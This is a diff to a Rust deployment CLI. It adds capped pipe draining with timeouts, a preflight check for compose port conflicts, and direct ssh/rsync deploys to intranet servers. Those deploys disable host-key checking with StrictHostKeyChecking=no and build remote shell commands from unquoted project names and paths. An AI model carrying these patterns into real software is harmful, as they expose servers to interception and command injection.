+        // hard byte cap. Anything past the cap is discarded — but the
+        // drain CONTINUES so the child never blocks on a full pipe.
+        //
+        // Both threads must be spawned before `try_wait` sees `Some`,
+        // otherwise the child can fill its pipe buffer and block on
+        // write while we sit polling.
+        let stdout_pipe = child.stdout.take().ok_or_else(|| CliError::CommandFailed {
+            command: format!("{} {}", program, args.join(" ")),
+            exit_code: -1,
+        })?;
+        let stderr_pipe = child.stderr.take().ok_or_else(|| CliError::CommandFailed {
+            command: format!("{} {}", program, args.join(" ")),
+            exit_code: -1,
+        })?;
+
+        let stdout_handle = std::thread::spawn(move || {
+            drain_capped(stdout_pipe, HOOK_PIPE_OUTPUT_MAX_BYTES)
+        });
+        let stderr_handle = std::thread::spawn(move || {
+            drain_capped(stderr_pipe, HOOK_PIPE_OUTPUT_MAX_BYTES)
+        });
+
+        let deadline = std::time::Instant::now() + timeout;
+        let poll_interval = std::time::Duration::from_millis(100);
+
+        loop {
+            match child.try_wait() {
+                Ok(Some(status)) => {
+                    // Reap the drainer threads — they exit on EOF once
+                    // the child closes its pipes at exit.
+                    let stdout_bytes = stdout_handle.join().unwrap_or_default();
+                    let stderr_bytes = stderr_handle.join().unwrap_or_default();
+                    return Ok(CommandOutput {
+                        exit_code: status.code().unwrap_or(-1),
+                        stdout: String::from_utf8_lossy(&stdout_bytes).to_string(),
+                        stderr: String::from_utf8_lossy(&stderr_bytes).to_string(),
+                    });
+                }
+                Ok(None) => {
+                    if std::time::Instant::now() >= deadline {
+                        let _ = child.kill();
+                        let _ = child.wait();
+                        // Drainers will now see EOF and finish; joining
+                        // them here is bounded by the OS pipe buffer size.
+                        let _ = stdout_handle.join();
+                        let _ = stderr_handle.join();
+                        return Err(CliError::DeployFailed {
+                            target: crate::cli::config_parser::DeployTarget::Local,
+                            reason: format!(
+                                "Command '{} {}' timed out after {}s",
+                                program,
+                                args.join(" "),
+                                timeout.as_secs()
+                            ),
+                        });
+                    }
+                    std::thread::sleep(poll_interval);
+                }
+                Err(_e) => {
+                    let _ = child.kill();
+                    let _ = child.wait();
+                    let _ = stdout_handle.join();
+                    let _ = stderr_handle.join();
+                    return Err(CliError::CommandFailed {
+                        command: format!("{} {}", program, args.join(" ")),
+                        exit_code: -1,
+                    });
+                }
+            }
+        }
+    }
+}
+
+/// Read from `reader` and return up to `max_bytes` in a `Vec<u8>`. Anything
+/// past the cap is discarded to a sink so the writer never blocks on a
+/// full pipe. Returns on EOF or on the first read error.
+fn drain_capped<R: std::io::Read>(mut reader: R, max_bytes: usize) -> Vec<u8> {
+    let mut kept = Vec::with_capacity(4096.min(max_bytes));
+    let mut chunk = [0u8; 8192];
+    let mut sink_only = false;
+    loop {
+        match reader.read(&mut chunk) {
+            Ok(0) => return kept,
+            Ok(n) => {
+                if sink_only {
+                    continue;
+                }
+                let remaining = max_bytes.saturating_sub(kept.len());
+                let take = n.min(remaining);
+                if take > 0 {
+                    kept.extend_from_slice(&chunk[..take]);
+                }
+                if kept.len() >= max_bytes {
+                    sink_only = true;
+                }
+            }
+            Err(_) => return kept,
+        }
+    }
 }
 
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
@@ -170,6 +372,184 @@ pub fn strategy_for(target: &DeployTarget) -> Box<dyn DeployStrategy> {
 // LocalDeploy — docker compose up/down
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 
+/// Parse the host-port side of a single compose port entry.
+///
+/// Handles both string form (`"127.0.0.1:3000:3000"`, `"3000:3000"`) and
+/// mapping form (`{ published: 3000, target: 3000 }`).
+fn parse_compose_host_port(entry: &serde_yaml::Value) -> Option<String> {
+    match entry {
+        serde_yaml::Value::String(spec) => {
+            let trimmed = spec.trim();
+            if trimmed.is_empty() {
+                return None;
+            }
+            let without_proto = trimmed.split('/').next().unwrap_or(trimmed);
+            let parts: Vec<&str> = without_proto.split(':').collect();
+            if parts.len() < 2 {
+                return None;
+            }
+            let port = parts[parts.len() - 2].trim();
+            if port.is_empty() {
+                None
+            } else {
+                Some(port.to_string())
+            }
+        }
+        serde_yaml::Value::Mapping(m) => {
+            let key = serde_yaml::Value::String("published".to_string());
+            m.get(&key).and_then(|v| match v {
+                serde_yaml::Value::String(s) => Some(s.clone()),
+                serde_yaml::Value::Number(n) => Some(n.to_string()),
+                _ => None,
+            })
+        }
+        _ => None,
+    }
+}
+
+/// Return all `(host_port, service_name)` pairs declared in a compose file.
+fn collect_compose_host_port_services(compose_path: &Path) -> Vec<(String, String)> {
+    let raw = match std::fs::read_to_string(compose_path) {
+        Ok(r) => r,
+        Err(_) => return vec![],
+    };
+    let doc: serde_yaml::Value = match serde_yaml::from_str(&raw) {
+        Ok(d) => d,
+        Err(_) => return vec![],
+    };
+    let services = match doc
+        .as_mapping()
+        .and_then(|m| m.get(&serde_yaml::Value::String("services".to_string())))
+        .and_then(|v| v.as_mapping())
+    {
+        Some(s) => s,
+        None => return vec![],
+    };
+
+    let mut result = Vec::new();
+    for (svc_key, svc_val) in services {
+        let svc_name = svc_key.as_str().unwrap_or("<unknown>").to_string();
+        let svc_map = match svc_val.as_mapping() {
+            Some(m) => m,
+            None => continue,
+        };
+        let ports_key = serde_yaml::Value::String("ports".to_string());
+        let ports = match svc_map.get(&ports_key).and_then(|v| v.as_sequence()) {
+            Some(p) => p,
+            None => continue,
+        };
+        for port in ports {
+            if let Some(host_port) = parse_compose_host_port(port) {
+                if !host_port.is_empty() {
+                    result.push((host_port, svc_name.clone()));
+                }
+            }
+        }
+    }
+    result
+}
+
+/// Parse `0.0.0.0:3000->3000/tcp` → `"3000"` from `docker ps` port strings.
+fn extract_port_from_docker_ps_entry(spec: &str) -> Option<String> {
+    let spec = spec.trim();
+    if spec.is_empty() {
+        return None;
+    }
+    // e.g. "0.0.0.0:3000->3000/tcp" or ":::3000->3000/tcp" or "3000/tcp"
+    let host_part = if let Some(arrow) = spec.find("->") {
+        &spec[..arrow]
+    } else {
+        return None; // no host binding, container-only port
+    };
+    // host_part is e.g. "0.0.0.0:3000" or ":::3000"
+    host_part
+        .rsplit(':')
+        .next()
+        .map(|p| p.trim().to_string())
+        .filter(|p| !p.is_empty())
+}
+
+/// Ask Docker for the host ports currently bound by THIS compose project's containers.
+///
+/// Uses `docker compose -f <path> ps --format "{{.Ports}}"`.
+/// Returns an empty set if Docker is unavailable or the project has no running containers.
+fn get_own_compose_running_ports(
+    compose_path: &Path,
+    executor: &dyn CommandExecutor,
+) -> std::collections::HashSet<String> {
+    let compose_str = compose_path.to_string_lossy();
+    let out = match executor.execute(
+        "docker",
+        &[
+            "compose",
+            "-f",
+            &compose_str,
+            "ps",
+            "--format",
+            "{{.Ports}}",
+        ],
+    ) {
+        Ok(o) if o.success() => o,
+        _ => return Default::default(),
+    };
+    let mut ports = std::collections::HashSet::new();
+    for line in out.stdout.lines() {
+        for segment in line.split(',') {
+            if let Some(p) = extract_port_from_docker_ps_entry(segment.trim()) {
+                ports.insert(p);
+            }
+        }
+    }
+    ports
+}
+
+/// Pre-flight check: detect host ports that are already occupied by something
+/// OTHER than the current compose project's own running containers.
+///
+/// Returns a list of human-readable conflict descriptions (empty = no conflicts).
+/// Silently skips any port it cannot inspect so that environments without full
+/// Docker access still work.
+fn check_local_host_port_conflicts(
+    compose_path: &Path,
+    executor: &dyn CommandExecutor,
+) -> Vec<String> {
+    use std::net::TcpListener;
+
+    let port_services = collect_compose_host_port_services(compose_path);
+    if port_services.is_empty() {
+        return vec![];
+    }
+
+    // Find which ports are already bound on the local machine.
+    let occupied: Vec<(String, String)> = port_services
+        .into_iter()
+        .filter(|(port, _)| {
+            let addr = format!("0.0.0.0:{}", port);
+            TcpListener::bind(&addr).is_err()
+        })
+        .collect();
+
+    if occupied.is_empty() {
+        return vec![];
+    }
+
+    // Exclude ports that belong to OUR own currently-running project containers —
+    // docker compose up will stop-and-restart them without a conflict.
+    let own_ports = get_own_compose_running_ports(compose_path, executor);
+
+    occupied
+        .into_iter()
+        .filter(|(port, _)| !own_ports.contains(port))
+        .map(|(port, svc)| {
+            format!(
+                "port {} (service '{}') is already allocated on this host — \
+                 find the owner with: lsof -nP -iTCP:{} -sTCP:LISTEN",
+                port, svc, port
+            )
+        })
+        .collect()
+}
+
 /// Detect which compose invocation is available on this host.
 ///
 /// Returns `("docker", vec!["compose"])` when the Docker Compose plugin is
@@ -215,6 +595,19 @@ impl DeployStrategy for LocalDeploy {
 
         let compose_path = context.compose_path.to_string_lossy().to_string();
 
+        // Pre-flight: catch host port conflicts before docker compose up so the
+        // error is actionable rather than buried in Docker daemon output.
+        let port_conflicts = check_local_host_port_conflicts(&context.compose_path, executor);
+        if !port_conflicts.is_empty() {
+            return Err(CliError::DeployFailed {
+                target: DeployTarget::Local,
+                reason: format!(
+                    "Host port conflict detected before deploy:\n  • {}\nStop the conflicting process or change the port in stacker.yml, then retry.",
+                    port_conflicts.join("\n  • ")
+                ),
+            });
+        }
+
         let (cmd, base_args) = resolve_compose_cmd(executor);
         let mut args: Vec<String> = base_args.iter().map(|s| s.to_string()).collect();
 
@@ -1167,7 +1560,19 @@ async fn fetch_live_containers(
             CliError::ConfigValidation(format!("Invalid list_containers parameters: {}", error))
         })?;
 
-    let completed = client.agent_poll_result(&request, 120, 2).await?;
+    let completed = client
+        .agent_poll_result(&request, 120, 2)
+        .await
+        .map_err(|err| match err {
+            CliError::AgentCommandTimeout {
+                ref last_status,
+                ref deployment_hash,
+                ..
+            } if last_status == "queued" => CliError::AgentNotFound {
+                deployment_hash: deployment_hash.clone(),
+            },
+            other => other,
+        })?;
     if completed.status != "completed" {
         let detail = completed
             .error
@@ -1571,6 +1976,252 @@ fn persist_remote_payload_snapshot(
 
 pub struct ServerDeploy;
 
+/// Deploy to an intranet server directly from the CLI using the system `ssh`/`rsync`.
+///
+/// The Stacker cloud install service cannot reach private-IP servers, so this
+/// path bypasses it entirely:
+///   1. `rsync` the project directory to `~/stacker/<project>/` on the remote
+///   2. `docker compose up -d --build` on the remote
+///
+/// The home-directory path avoids any permission issues — the SSH user can always
+/// write there without sudo.  Falls back to `tar+ssh` if `rsync` is not found.
+fn deploy_to_intranet_server(
+    config: &StackerConfig,
+    context: &DeployContext,
+    server_cfg: &crate::cli::config_parser::ServerConfig,
+) -> Result<DeployResult, CliError> {
+    let project_name = context
+        .project_name_override
+        .clone()
+        .or_else(|| config.project.identity.clone())
+        .filter(|s| !s.trim().is_empty())
+        .unwrap_or_else(|| config.name.clone());
+
+    let ssh_key_path = server_cfg
+        .ssh_key
+        .as_ref()
+        .map(|p| {
+            let s = p.to_string_lossy();
+            if s.starts_with("~/") {
+                let home = std::env::var("HOME").unwrap_or_else(|_| ".".to_string());
+                std::path::PathBuf::from(home).join(&s[2..])
+            } else {
+                p.clone()
+            }
+        })
+        .ok_or_else(|| {
+            CliError::ConfigValidation(
+                "deploy.server.ssh_key is required for intranet server deploy.\n\
+                 Set it in stacker.yml: deploy.server.ssh_key: ~/.ssh/id_ed25519"
+                    .to_string(),
+            )
+        })?;
+
+    if !ssh_key_path.exists() {
+        return Err(CliError::ConfigValidation(format!(
+            "SSH key not found: {}",
+            ssh_key_path.display()
+        )));
+    }
+
+    // Use ~/stacker/<project> so the SSH user can write without sudo.
+    // The shell expands ~ on the remote, so no hardcoded home path needed.
+    let remote_dir = format!("$HOME/stacker/{}", project_name);
+    let user_at_host = format!("{}@{}", server_cfg.user, server_cfg.host);
+    let ssh_args = [
+        "-i", ssh_key_path.to_str().unwrap_or(""),
+        "-p", &server_cfg.port.to_string(),
+        "-o", "StrictHostKeyChecking=no",
+        "-o", "BatchMode=yes",
+    ];
+
+    // 1. Resolve the remote home directory so rsync gets an absolute path.
+    let remote_home = {
+        let out = std::process::Command::new("ssh")
+            .args(&ssh_args)
+            .arg(&user_at_host)
+            .arg("echo $HOME")
+            .output()
+            .map_err(|e| CliError::DeployFailed {
+                target: DeployTarget::Server,
+                reason: format!("Failed to run ssh: {}", e),
+            })?;
+        String::from_utf8_lossy(&out.stdout).trim().to_string()
+    };
+
+    let remote_dir_abs = if remote_home.is_empty() {
+        // Fallback: keep the $HOME token; mkdir/compose will still expand it
+        remote_dir.clone()
+    } else {
+        format!("{}/stacker/{}", remote_home, project_name)
+    };
+
+    eprintln!("  Creating remote directory {}...", remote_dir_abs);
+    let mkdir_status = std::process::Command::new("ssh")
+        .args(&ssh_args)
+        .arg(&user_at_host)
+        .arg(format!("mkdir -p {}", remote_dir_abs))
+        .status()
+        .map_err(|e| CliError::DeployFailed {
+            target: DeployTarget::Server,
+            reason: format!("Failed to run ssh: {}", e),
+        })?;
+
+    if !mkdir_status.success() {
+        return Err(CliError::DeployFailed {
+            target: DeployTarget::Server,
+            reason: format!(
+                "Could not create remote directory {}.\n\
+                 Check that the SSH user '{}' has write access to their home directory.",
+                remote_dir_abs, server_cfg.user
+            ),
+        });
+    }
+
+    // 2. Sync project files to remote (rsync preferred, tar+ssh fallback)
+    let project_src = format!("{}/", context.project_dir.display());
+    let remote_dest = format!("{}:{}/", user_at_host, remote_dir_abs);
+    let rsync_ssh_opt = format!(
+        "ssh -i {} -p {} -o StrictHostKeyChecking=no -o BatchMode=yes",
+        ssh_key_path.display(),
+        server_cfg.port
+    );
+    let rsync_excludes = &["--exclude=.git", "--exclude=target", "--exclude=node_modules"];
+
+    eprintln!("  Syncing project files to {}...", user_at_host);
+    let rsync_available = std::process::Command::new("rsync")
+        .arg("--version")
+        .output()
+        .map(|o| o.status.success())
+        .unwrap_or(false);
+
+    if rsync_available {
+        let mut rsync = std::process::Command::new("rsync");
+        rsync
+            .arg("-az")
+            .arg("--progress")
+            .args(rsync_excludes)
+            .arg("-e")
+            .arg(&rsync_ssh_opt)
+            .arg(&project_src)
+            .arg(&remote_dest);
+
+        let status = rsync.status().map_err(|e| CliError::DeployFailed {
+            target: DeployTarget::Server,
+            reason: format!("rsync failed: {}", e),
+        })?;
+        if !status.success() {
+            return Err(CliError::DeployFailed {
+                target: DeployTarget::Server,
+                reason: "rsync exited with error — check SSH key and server connectivity".to_string(),
+            });
+        }
+    } else {
+        // Fallback: tar over SSH (pipe tar → ssh, no shell -c to avoid injection)
+        eprintln!("  (rsync not found, using tar+ssh fallback)");
+        let mut tar_child = std::process::Command::new("tar")
+            .arg("czf")
+            .arg("-")
+            .arg("--exclude=.git")
+            .arg("--exclude=target")
+            .arg("--exclude=node_modules")
+            .arg("-C")
+            .arg(context.project_dir.as_os_str())
+            .arg(".")
+            .stdout(std::process::Stdio::piped())
+            .spawn()
+            .map_err(|e| CliError::DeployFailed {
+                target: DeployTarget::Server,
+                reason: format!("tar failed: {}", e),
+            })?;
+
+        let tar_stdout = tar_child.stdout.take().ok_or_else(|| {
+            CliError::DeployFailed {
+                target: DeployTarget::Server,
+                reason: "Could not capture tar stdout".to_string(),
+            }
+        })?;
+
+        let ssh_status = std::process::Command::new("ssh")
+            .args(&ssh_args)
+            .arg(&user_at_host)
+            .arg(format!("tar xzf - -C {}", remote_dir_abs))
+            .stdin(tar_stdout)
+            .status()
+            .map_err(|e| CliError::DeployFailed {
+                target: DeployTarget::Server,
+                reason: format!("ssh (tar extract) failed: {}", e),
+            })?;
+
+        // Reap the tar child
+        let tar_status = tar_child.wait().map_err(|e| CliError::DeployFailed {
+            target: DeployTarget::Server,
+            reason: format!("tar wait failed: {}", e),
+        })?;
+
+        if !ssh_status.success() || !tar_status.success() {
+            return Err(CliError::DeployFailed {
+                target: DeployTarget::Server,
+                reason: "tar+ssh transfer failed — check SSH key and server connectivity".to_string(),
+            });
+        }
+    }
+
+    // 3. Run docker compose on the remote
+    let compose_file = context
+        .compose_path
+        .strip_prefix(&context.project_dir)
+        .unwrap_or(&context.compose_path)
+        .display()
+        .to_string();
+
+    let compose_cmd = format!(
+        "cd {} && docker compose -f {} up -d --build 2>&1",
+        remote_dir_abs, compose_file
+    );
+
+    eprintln!("  Running docker compose on {}...", server_cfg.host);
+    let output = std::process::Command::new("ssh")
+        .args(&ssh_args)
+        .arg(&user_at_host)
+        .arg(&compose_cmd)
+        .output()
+        .map_err(|e| CliError::DeployFailed {
+            target: DeployTarget::Server,
+            reason: format!("SSH docker compose failed: {}", e),
+        })?;
+
+    let stdout = String::from_utf8_lossy(&output.stdout);
+    let stderr = String::from_utf8_lossy(&output.stderr);
+    for line in stdout.lines().chain(stderr.lines()) {
+        eprintln!("  │ {}", line);
+    }
+
+    if !output.status.success() {
+        return Err(CliError::DeployFailed {
+            target: DeployTarget::Server,
+            reason: format!(
+                "docker compose failed on remote (exit {}). See output above.",
+                output.status.code().unwrap_or(-1)
+            ),
+        });
+    }
+
+    eprintln!("  ✓ Deployed '{}' to {} ({})", project_name, server_cfg.host, remote_dir_abs);
+
+    Ok(DeployResult {
+        target: DeployTarget::Server,
+        message: format!(
+            "Deployed '{}' to {} via local SSH (rsync + docker compose, remote: {})",
+            project_name, server_cfg.host, remote_dir_abs
+        ),
+        server_ip: Some(server_cfg.host.clone()),
+        deployment_id: None,
+        project_id: None,
+        server_name: None,
+    })
+}
+
 impl DeployStrategy for ServerDeploy {
     fn validate(&self, config: &StackerConfig) -> Result<(), CliError> {
         if config.deploy.server.is_none() {
@@ -1613,6 +2264,23 @@ impl DeployStrategy for ServerDeploy {
             });
         }
 
+        // For private/intranet hosts, the Stacker cloud install service cannot
+        // reach the server via SSH. Deploy directly from the CLI using rsync +
+        // docker compose over the local SSH key.
+        let server_cfg = config
+            .deploy
+            .server
+            .as_ref()
+            .ok_or(CliError::ServerHostMissing)?;
+
+        if crate::helpers::ip::is_private_host(&server_cfg.host) {
+            eprintln!(
+                "  Server {} is on a private network — deploying via local SSH.",
+                server_cfg.host
+            );
+            return deploy_to_intranet_server(config, context, server_cfg);
+        }
+
         let creds =
             CredentialsManager::with_default_store().require_valid_token("server deploy")?;
         let base_url = normalize_stacker_server_url(
@@ -1621,11 +2289,6 @@ impl DeployStrategy for ServerDeploy {
                 .as_deref()
                 .unwrap_or(stacker_client::DEFAULT_STACKER_URL),
         );
-        let server_cfg = config
-            .deploy
-            .server
-            .as_ref()
-            .ok_or(CliError::ServerHostMissing)?;
         let project_name = resolve_remote_project_name(config, context);
         let project_config = compose_targets::config_with_compose_secret_target_services(
             config,
@@ -1992,6 +2655,7 @@ mod tests {
                 ssh_key: Some(PathBuf::from("/home/user/.ssh/id_ed25519")),
                 key: None,
                 server: None,
+                public_ports: Vec::new(),
             })
             .build()
             .unwrap()
@@ -2171,6 +2835,7 @@ mod tests {
                 ssh_key: Some(PathBuf::from("/home/user/.ssh/id_ed25519")),
                 key: None,
                 server: None,
+                public_ports: Vec::new(),
             })
             .build()
             .unwrap();
@@ -2816,4 +3481,357 @@ mod tests {
         let args = cmd.build_args();
         assert!(!args.contains(&"--rm".to_string()));
     }
+
+    // ── Port-conflict preflight helpers ─────────────────
+
+    #[test]
+    fn test_parse_compose_host_port_string_host_container() {
+        let v = serde_yaml::Value::String("3000:3000".to_string());
+        assert_eq!(parse_compose_host_port(&v), Some("3000".to_string()));
+    }
+
+    #[test]
+    fn test_parse_compose_host_port_string_ip_host_container() {
+        let v = serde_yaml::Value::String("127.0.0.1:8080:80".to_string());
+        assert_eq!(parse_compose_host_port(&v), Some("8080".to_string()));
+    }
+
+    #[test]
+    fn test_parse_compose_host_port_mapping() {
+        let mut m = serde_yaml::Mapping::new();
+        m.insert(
+            serde_yaml::Value::String("published".to_string()),
+            serde_yaml::Value::Number(serde_yaml::Number::from(3000u64)),
+        );
+        m.insert(
+            serde_yaml::Value::String("target".to_string()),
+            serde_yaml::Value::Number(serde_yaml::Number::from(3000u64)),
+        );
+        let v = serde_yaml::Value::Mapping(m);
+        assert_eq!(parse_compose_host_port(&v), Some("3000".to_string()));
+    }
+
+    #[test]
+    fn test_parse_compose_host_port_container_only() {
+        // Port without host binding: "3000" → no host port to parse
+        let v = serde_yaml::Value::String("3000".to_string());
+        assert_eq!(parse_compose_host_port(&v), None);
+    }
+
+    #[test]
+    fn test_collect_compose_host_port_services() {
+        use std::io::Write;
+        let mut tmp = tempfile::NamedTempFile::new().unwrap();
+        write!(
+            tmp,
+            r#"
+services:
+  web:
+    image: nginx
+    ports:
+      - "8080:80"
+  api:
+    image: myapp
+    ports:
+      - "127.0.0.1:9000:9000"
+"#
+        )
+        .unwrap();
+        let pairs = collect_compose_host_port_services(tmp.path());
+        let ports: Vec<&str> = pairs.iter().map(|(p, _)| p.as_str()).collect();
+        assert!(ports.contains(&"8080"), "expected 8080");
+        assert!(ports.contains(&"9000"), "expected 9000");
+    }
+
+    #[test]
+    fn test_extract_port_from_docker_ps_entry_standard() {
+        assert_eq!(
+            extract_port_from_docker_ps_entry("0.0.0.0:3000->3000/tcp"),
+            Some("3000".to_string())
+        );
+    }
+
+    #[test]
+    fn test_extract_port_from_docker_ps_entry_ipv6() {
+        assert_eq!(
+            extract_port_from_docker_ps_entry(":::8080->8080/tcp"),
+            Some("8080".to_string())
+        );
+    }
+
+    #[test]
+    fn test_extract_port_from_docker_ps_entry_container_only() {
+        assert_eq!(extract_port_from_docker_ps_entry("3000/tcp"), None);
+    }
+
+    #[test]
+    fn test_check_local_host_port_conflicts_free_port() {
+        use std::io::Write;
+        // Pick an ephemeral port that should be free
+        let listener = std::net::TcpListener::bind("0.0.0.0:0").unwrap();
+        let free_port = listener.local_addr().unwrap().port();
+        drop(listener); // release it
+
+        let mut tmp = tempfile::NamedTempFile::new().unwrap();
+        write!(
+            tmp,
+            "services:\n  web:\n    image: nginx\n    ports:\n      - \"{}:80\"\n",
+            free_port
+        )
+        .unwrap();
+
+        let executor = MockExecutor::success();
+        let conflicts = check_local_host_port_conflicts(tmp.path(), &executor);
+        assert!(
+            conflicts.is_empty(),
+            "expected no conflicts for free port {}: {:?}",
+            free_port,
+            conflicts
+        );
+    }
+
+    #[test]
+    fn test_check_local_host_port_conflicts_own_container_excluded() {
+        use std::io::Write;
+
+        // Occupy a port to simulate an existing container
+        let listener = std::net::TcpListener::bind("0.0.0.0:0").unwrap();
+        let port = listener.local_addr().unwrap().port();
+        // Keep listener alive — port IS occupied
+
+        let mut tmp = tempfile::NamedTempFile::new().unwrap();
+        write!(
+            tmp,
+            "services:\n  web:\n    image: nginx\n    ports:\n      - \"{}:80\"\n",
+            port
+        )
+        .unwrap();
+
+        // Simulate `docker compose ps` reporting the same port as owned by us
+        let ps_output = format!("0.0.0.0:{}->80/tcp", port);
+        let executor = MockExecutor::success_with_stdout(&ps_output);
+
+        let conflicts = check_local_host_port_conflicts(tmp.path(), &executor);
+        drop(listener);
+        assert!(
+            conflicts.is_empty(),
+            "port owned by our own compose project should not be flagged: {:?}",
+            conflicts
+        );
+    }
+
+    #[test]
+    fn test_check_local_host_port_conflicts_external_conflict() {
+        use std::io::Write;
+
+        // Occupy a port to simulate an external process
+        let listener = std::net::TcpListener::bind("0.0.0.0:0").unwrap();
+        let port = listener.local_addr().unwrap().port();
+        // Keep listener alive — port IS occupied by external
+
+        let mut tmp = tempfile::NamedTempFile::new().unwrap();
+        write!(
+            tmp,
+            "services:\n  web:\n    image: nginx\n    ports:\n      - \"{}:80\"\n",
+            port
+        )
+        .unwrap();
+
+        // Simulate `docker compose ps` returning empty (no own containers on this port)
+        let executor = MockExecutor::success_with_stdout("");
+
+        let conflicts = check_local_host_port_conflicts(tmp.path(), &executor);
+        drop(listener);
+        assert!(
+            !conflicts.is_empty(),
+            "external port conflict should be reported"
+        );
+        assert!(
+            conflicts[0].contains(&port.to_string()),
+            "conflict message should mention the port"
+        );
+    }
+
+    // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+    // Security-audit follow-up tests — CommandExecutor timeout.
+    //
+    // These tests are written FIRST (TDD). They MUST fail against the
+    // current `execute_with_timeout` default impl, which uses
+    // `std::thread::scope` around a blocking `Command::output()` — the
+    // scope joins on exit, so even when `recv_timeout` fires the closure
+    // does not return until the child process exits. Net effect: the
+    // "300-second timeout" is cosmetic.
+    //
+    // After the fix (Phase 4 of the plan), `execute_with_timeout` (or its
+    // successor `execute_hook`) must spawn a `Child`, poll deadline with
+    // `try_wait`, and `child.kill()` on miss — these tests then turn green
+    // in ~3 seconds for a 30-second sleep with a 2-second budget.
+    // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+    /// C2: a real timeout must actually terminate the child process and
+    /// return within the timeout budget — NOT block until the child
+    /// finishes naturally.
+    ///
+    /// Marked `#[ignore]` because it spawns a real `sleep 30`. Run with:
+    ///     cargo test -p stacker --lib test_execute_with_timeout_actually_terminates_child -- --ignored --nocapture
+    #[test]
+    #[ignore]
+    fn test_execute_with_timeout_actually_terminates_child() {
+        use std::time::{Duration, Instant};
+
+        let executor = ShellExecutor;
+        let timeout = Duration::from_secs(2);
+        let started = Instant::now();
+        let result = executor.execute_with_timeout("sleep", &["30"], timeout, None);
+        let elapsed = started.elapsed();
+
+        // The call must error on timeout.
+        assert!(
+            result.is_err(),
+            "execute_with_timeout must return Err on timeout, got Ok"
+        );
+
+        // Wall-clock must be within ~3s — significantly less than the
+        // 30s sleep. With the buggy `thread::scope` implementation this
+        // assertion fires because elapsed ≈ 30s.
+        assert!(
+            elapsed < Duration::from_secs(5),
+            "execute_with_timeout must terminate the child within timeout budget; \
+             actual elapsed = {:?} (sleep child should have been killed)",
+            elapsed
+        );
+    }
+
+    /// Phase 8b: a hook that emits far more stdout than the pipe-level
+    /// OOM cap must NOT be captured verbatim into memory. After the
+    /// bounded-pipe-reader lands, captured stdout is at or under the
+    /// pipe cap regardless of how much the child wrote.
+    ///
+    /// Marked `#[ignore]` because it spawns a real shell child that
+    /// dumps ~10 MiB of data. Run with:
+    ///     cargo test -p stacker --lib test_execute_with_timeout_caps_large_stdout -- --ignored --nocapture
+    #[test]
+    #[ignore]
+    fn test_execute_with_timeout_caps_large_stdout() {
+        use std::time::Duration;
+
+        let executor = ShellExecutor;
+        // Emit ~10 MiB of ASCII bytes on stdout — well above the 1 MiB+slack
+        // pipe cap the bounded reader enforces.
+        let result = executor
+            .execute_with_timeout(
+                "sh",
+                &[
+                    "-c",
+                    // 10 * 1024 * 1024 = 10485760 bytes of 'A' + newline.
+                    "yes A | head -c 10485760",
+                ],
+                Duration::from_secs(20),
+                None,
+            )
+            .expect("execute_with_timeout should complete despite large stdout");
+
+        assert_eq!(result.exit_code, 0, "child must exit 0");
+        assert!(
+            result.stdout.len() <= HOOK_PIPE_OUTPUT_MAX_BYTES,
+            "captured stdout must be capped at or below HOOK_PIPE_OUTPUT_MAX_BYTES ({}), \
+             got {} bytes — bounded pipe reader is not enforcing the OOM defence",
+            HOOK_PIPE_OUTPUT_MAX_BYTES,
+            result.stdout.len(),
+        );
+    }
+
+    /// Phase 8b sibling: same guarantee for stderr. A hostile hook can
+    /// pick either channel; both must be bounded.
+    #[test]
+    #[ignore]
+    fn test_execute_with_timeout_caps_large_stderr() {
+        use std::time::Duration;
+
+        let executor = ShellExecutor;
+        let result = executor
+            .execute_with_timeout(
+                "sh",
+                &["-c", "yes A | head -c 10485760 >&2"],
+                Duration::from_secs(20),
+                None,
+            )
+            .expect("execute_with_timeout should complete despite large stderr");
+
+        assert_eq!(result.exit_code, 0);
+        assert!(
+            result.stderr.len() <= HOOK_PIPE_OUTPUT_MAX_BYTES,
+            "captured stderr must be capped at or below HOOK_PIPE_OUTPUT_MAX_BYTES ({}), \
+             got {} bytes",
+            HOOK_PIPE_OUTPUT_MAX_BYTES,
+            result.stderr.len(),
+        );
+    }
+
+    /// Phase 8b hang-defence: writing past the OS pipe buffer without a
+    /// concurrent reader hangs the child on write. This test proves the
+    /// bounded reader drains both pipes concurrently so the child can
+    /// exit even when its output exceeds the cap by orders of magnitude.
+    ///
+    /// If this test hangs (rather than fails), the fix is missing the
+    /// "keep reading past the cap into /dev/null" drain step.
+    #[test]
+    #[ignore]
+    fn test_execute_with_timeout_drains_past_cap_so_child_exits() {
+        use std::time::{Duration, Instant};
+
+        let executor = ShellExecutor;
+        // ~50 MiB — well past any reasonable pipe cap and past the OS
+        // pipe buffer (usually 64 KiB), so without concurrent draining
+        // the child would block on write forever.
+        let started = Instant::now();
+        let result = executor
+            .execute_with_timeout(
+                "sh",
+                &["-c", "yes A | head -c 52428800"],
+                Duration::from_secs(30),
+                None,
+            )
+            .expect("child must complete even with 50 MiB of stdout");
+        let elapsed = started.elapsed();
+
+        assert_eq!(result.exit_code, 0);
+        // 50 MiB / plausible RAM bandwidth should be seconds, not
+        // minutes. If we ever get close to the 30s timeout, the drain
+        // is not happening concurrently.
+        assert!(
+            elapsed < Duration::from_secs(20),
+            "child took {:?} to complete a 50 MiB dump — drain is not \
+             running concurrently with try_wait",
+            elapsed
+        );
+    }
+
+    /// C2 sibling: when a child process is timed out, a follow-up call
+    /// to the same executor must succeed promptly — no zombie state,
+    /// no thread leak that holds resources.
+    ///
+    /// Marked `#[ignore]` for the same reason.
+    #[test]
+    #[ignore]
+    fn test_executor_remains_usable_after_timeout() {
+        use std::time::{Duration, Instant};
+
+        let executor = ShellExecutor;
+        let _ = executor.execute_with_timeout("sleep", &["10"], Duration::from_secs(1), None);
+
+        // Now run a quick command and assert it completes quickly.
+        let started = Instant::now();
+        let result = executor.execute("/bin/sh", &["-c", "echo ok"]);
+        let elapsed = started.elapsed();
+
+        assert!(result.is_ok(), "Follow-up exec must succeed: {:?}", result);
+        let output = result.unwrap();
+        assert_eq!(output.exit_code, 0);
+        assert!(
+            elapsed < Duration::from_secs(2),
+            "Follow-up exec must run promptly, elapsed = {:?}",
+            elapsed
+        );
+    }
 }
